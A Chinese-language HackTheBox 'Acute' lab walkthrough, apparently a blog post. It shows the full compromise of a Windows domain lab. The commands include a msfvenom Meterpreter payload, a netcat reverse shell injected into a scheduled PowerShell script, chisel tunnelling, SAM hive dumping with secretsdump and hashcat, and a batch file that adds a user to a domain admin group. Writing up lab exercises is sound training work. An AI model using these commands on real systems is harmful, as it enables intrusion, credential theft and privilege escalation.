HTB-acute

端口扫描

只开放445,

添加域名到/etc/host

访问

用wappalyzer扫是wordpress

大概枚举一下

记下来

目录爆破一下,没有什么有用的

接着去枚举

网站取得powershell页面

打开后我们会看到两个链接,但这些链接会给出 404 状态代码

向下滚动我们可以看到密码Password1!和访问网址Windows PowerShell Web Access

但是这个用户是错的

看一下word有什么隐藏信息没

给了我们主机名,且作者是FCastle(不对),试一下

一个个尝试了一下

像是一个web的powershell执行页面

取得EDavies权限

枚举一下

尝试用powershell 脚本来扫描端口,看看有没有有趣的端口

GitHub - JustinGrote/PoshNmap: A Powershell Wrapper for the Nmap Network Discovery Tool

运行失败

用Iex试试

看着像域控,但是无法指定扫描端口 88 的脚本,接着枚举

这是个空目录

这表明 Windows Defender 不会检查该目录中是否有恶意文件

当然也可以通过找defend白名单

Microsoft Defender Exclusions List Can Be Read by Attackers

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

尝试用msf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=2222 -f exe > shell.exe

kali托管

msf监听

取得imonks权限

kali ./chisel server --reverse -p 8000

靶机 .\chisel.exe client 10.10.14.67:8000 R:127.0.0.1:socks

确保socks 5 127.0.0.1 1080添加/etc/proxychains.conf(在文件最下面添加

socks 5 127.0.0.1 1080)

proxychains nmap -sT -P 88 172.16.22.1

这表明它是域控

wget 10.10.14.67/winPEAS

winpeas执行结果,它显示有一个 RDP 会话处于活动状态

query user这也可以通过列出活动登录会话找到 或者

qwinsta /server:127.0.0.1也可以看到该:qwinsta命令在Windows操作系统中用于查询远程服务器上的远程桌面会话(终端会话)信息。在你的命令下:

Invoke-WebRequest -Uri http://10.10.14.67/winPEAS.exe -UseBasicParsing -OutFile winPEAS.exe

./winPEAS.exe

Meterpreter有一个screenshare功能,可以定期截取活动桌面的屏幕截图,并允许攻击者像直播一样观看。

运行它时,它会在 Firefox 中弹出一个 HTML 页面,显示桌面:

几分钟后,PowerShell 终端将以 edavies 形式打开。该用户创建一个 PowerShell 凭证对象,并使用它以 imonks 用户身份连接到 atsserver 计算机:但是上面是显示没有成功

这里有几个重要的地方:

  • 用户是acute\imonks,密码为“w3_4R3_th3_f0rce.”。

  • edavies 正在尝试向 ATSSERVER 进行身份验证。

  • edavies 正在尝试使用dc_manage上面提到的配置。

上面的命令输入后会报错

它失败是因为 imonks 无权访问 cmdlet Measure-Object。这可能是配置问题,也可能是Kerberos 双跳dc_manage问题(或两者兼而有之)

https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/enter-pssession-cmdlet-fails-psmodulepath-variable 解决办法

使用Invoke-Command -ScriptBlock可以执行一些命令

取得jmorgan权限

但是我们只能在 ATSSERVER 上运行有限的命令,因为dcmanage 配置用于运行特定命令来管理服务器

Get-Command可以看可以用哪些命令

可以运行Get-Alias看看这些命令的快捷方式

C:\program files(和C:\program files (x86)) 中安装的程序值得枚举,不过没可以利用的

在该用户下枚举

具有 Acute-PC01 上 jmorgan 的凭据:

我无法枚举有关 jmorgan 的域用户信息的信息:

net user jmorgan /domain

( net user jmorgan /domain

The request will be processed at a domain controller for domain acute.local.

System error 1722 has occurred.

The RPC server is unavailable.)

但是,域用户似乎位于 Acute-PC01 的本地管理员组中:

net localgroup Administrators

这就解释了为什么他们可能能够跑步Get-Volume,而 edavies 却不能:

失败#1

我最初的想法是使用它$securepasswd来获取PSCredentialAcute-PC01 上 jmorgan 的对象:

PS C:\Utils> $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'

PS C:\Utils> $passwd = $securepasswd | ConvertTo-SecureString

这是因为这些安全密码字符串是使用仅在加密计算机上可用的信息(作为加密用户进行加密)进行加密的。

失败#2

我将把我需要的所有命令放入 中ScriptBlock,并获取明文密码。不幸的是,它不起作用:

Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c 0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

该脚本使用actue\jmorgan的安全密码在容器上运行Get-Volume

成功

Invoke-WebRequest -Uri http://10.10.14.67/nc64.exe -OutFile nc64.exe 下载

现在该脚本为我创建了一个反向 shell:

当然,让我们分解一下您提供的 PowerShell 命令:Set-Content替代sc ,Get-Content替代cat

Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.67 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

Invoke-Command -ScriptBlock {((Get-Content -Path ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443') | Set-Content -Path ..\desktop\wm.ps1} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

此 PowerShell 命令执行以下操作:

  1. Invoke-CommandATSSERVER使用 PowerShell 远程处理在远程计算机 ( ) 上启动脚本块的执行。

  2. -ScriptBlock {...}指定将在远程计算机上执行的脚本块。在脚本块内:

    • ((Get-Content -Path ..\desktop\wm.ps1 -Raw)wm.ps1从桌面读取脚本文件的内容,并使用-Raw参数将内容读取为单个字符串(而不是行数组)。

    • -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443'使用-replace运算符将 内容中出现的所有字符串“Get-Volume”替换wm.ps1为命令C:\utils\nc64.exe -e cmd 10.10.14.6 443

    • | Set-Content -Path ..\desktop\wm.ps1将修改的内容写回到wm.ps1桌面上的文件中。

  3. -ComputerName ATSSERVERATSSERVER指定将执行脚本块的远程计算机 ( ) 的名称。

  4. -ConfigurationName dc_managedc_manage指定要在远程计算机上使用的PowerShell 远程处理端点配置名称 ( )。

  5. -Credential $cred提供远程会话所需的凭据。该变量$cred可能包含一个PSCredential具有必要的用户名和密码的对象。

执行(.ps1 是 PowerShell 脚本文件的文件扩展名)

Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

kali监听443

获得acute\jmorgan权限

获取管理员awallace的hash

一种方法meterpreter

如果反弹在meter上

查看权限

我们可以通过运行成为容器上的 SYSTEM 用户getsystem,然后可以在容器上转储 NTLM 哈希值

二ssecretsdump.py

作为 Acute-PC01 上的本地管理员,jmorgan 可以创建注册表配置单元的备份:

PS C:\Utils> reg save HKLM\sam sam.bak

The operation completed successfully.

PS C:\Utils> reg save HKLM\system sys.bak

The operation completed successfully.

利用meterpreter

meterpreter > download sam.bak

meterpreter > download sys.bak

secretsdump.py的一部分

secretsdump.py -sam sam.bak -system sys.bak LOCAL

成功dump出hash

解密

或者/opt/hashcat-6.2.5/hashcat.bin acute-pc01.hashes /usr/share/wordlists/rockyou.txt

切换用户

确实可以利用密码作为 awallace 在 ATSSERVER 上运行命令

PS C:\Utils> $pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force

PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }

acute\awallace

在之前枚举的C:\Program Files有个keepmeon值得关注(他只能awallace查看)

有一个bat文件

回到那个 word 文档,它提到 Lois 是组成员的唯一用户,也只有他才能成为site admin

利用Lois权限脚本添加awallace到管理员

运行net group /domain我们可以看到一个名为Site_Admin

Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

net group site_admin /domain查看一下改组的描述它说它有权访问域管理组

因此使用Set-Content我们可以添加命令net group Site_Admin "awallace" /add /domain将该用户添加到Site_Admin组

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { Set-Content "C:\Program Files\keepmeon\uwu.bat" -Value 'net group Site_Admin "awallace" /add /domain' } -Credential $credential

过一会就将awallace添加进入 域管理员组

验证一下

Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

这实际上足以阅读root.txt

PS C:\Utils> Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
5a14532a55ecc6c7cf9faa6f3f6317b5

meter的screenshare 功能使用,利用powershell制作$cred凭证,-ScriptBlock 参数绕过利用$cred不能执行命令,命令被替换如何罗列,sam文件dump出hash,powershell写入.bat定时脚本反弹,添加admin组域用户命令

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值